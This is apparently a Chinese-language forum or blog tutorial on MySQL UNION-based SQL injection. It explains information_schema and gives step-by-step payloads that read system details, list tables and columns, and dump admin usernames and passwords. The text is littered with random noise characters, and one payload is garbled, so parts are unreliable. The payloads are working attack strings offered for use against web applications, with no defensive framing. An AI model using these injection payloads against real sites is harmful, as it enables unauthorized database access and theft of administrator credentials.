mysql常规注入

admin

本文介绍MYSQL盲注的一些语句和方法
+ ^6 p/ x; T# }/ c: j
学习盲注前先了解下 IFORMATION_SCHEMA 库

4 r9 i0 C7 @- _, I( ?Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其中记录了Mysql中所有
0 G3 t& T" w* f! n: l  V0 \存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
' ?2 m( h1 g, q1.得到所有数据库名：
|SCHEMATA ->存储数据库名的表
|---字段：SCHEMA_NAME ->数据库名称
$ ^3 `" E4 K) O( L
) |1 ?2 y1 b! \0 o|TABLES ->存储表名
! Z5 D0 g7 Y. U1 {1 z- W/ k1 j|---字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
|---字段：TABLE_NAME ->存储表的表名

3 v% E) q. ]6 `/ W|COLUMNS ->存储的字段名表
|---字段：TABLE_SCHEMA ->该字段所属数据库名
7 a' q  t4 O+ g9 Y* _/ t|---字段：TABLE_NAME ->存储所属表的名称

- d/ Y6 H) t8 m|---字段：COLUMN_NAME ->该字段的名称
$ s- N4 H  x0 P; X6 z" F
3 I+ t% o+ [+ h" N+ U/ O! i
1 b8 Z# R. K. ^
. ]. i# x: {$ g& W6 \###########################################################################
) b3 d7 q2 W) K: F# J
4 N' T6 u6 |& y: Q. a" Y+ o, l0x001 获取系统信息:

) ?4 h- A7 C& Q$ G9 r; N) hunion select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*

. @) j, }3 N2 A4 C) F1 p* x0 \/*

@@global.version_compile_os 获取系统版本

@@datadir 数据库路径
% G9 n8 [; f: O8 Ndatabase() 当前数据库名称
  }/ N" ^7 ^" G0x3c62723e 换行HEX值

*/


  L8 _8 m8 r* X$ V7 ]
, j" K+ O) B, l6 [1 ]8 T######################################################################

0x002 获取表名

union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*
/ J: m7 @  b9 ~& W0 `3 ~6 V/ O

: V3 e* ^1 r7 F9 y7 n) m
" Z/ t# }1 x+ v" b/*

4 ?+ o$ D% T- v& u9 _$ |0x67617264656e 为当前数据库名

group_concat(table_name) 使用group_concat函数 一步获得该库所有表名
2 a% P0 t) \' ^2 i- b
*/
( @2 n  |9 ]# L9 S, }
0 E* e6 Y* o4 }/ M######################################################################


8 U, v! ?' {# ~. r
0x003 获取字段

. t& `* `: X0 c1 w% [1 |union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*

/*
% }& ?# Q' Z$ N" j# o
; T- T( \& n  v4 p, kgroup_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段

; m6 Z* D, q. E; V  Z0x61646d696e ->选择一个表
, I% L7 p& Y; J
6 ]) n- W/ s$ p0 M6 z8 o0x67617264656e ->数据库名
1 D. M: H# |% |7 J  ^* j- X
*/
5 w3 p# T) P- a& Y
#####################################################################
+ Z( Y! e( O$ p4 l5 C5 J


2 ]" A) G% K; v0x004 获取数据

% l# `4 v6 O! S: K+ H, ~" Eunion select 1,2,3
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
9 R$ h0 f* b' p9 a+ r
1 h1 J$ }6 z; n/ Y- D1 k" wunion select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin



/*

; {3 |; }7 p" {0x3c62723e 换行符号HEX编码

group_concat 同时获得该字段所有数据

*/
! L. q4 P/ z$ w2 q! E0 o3 e3 t1 G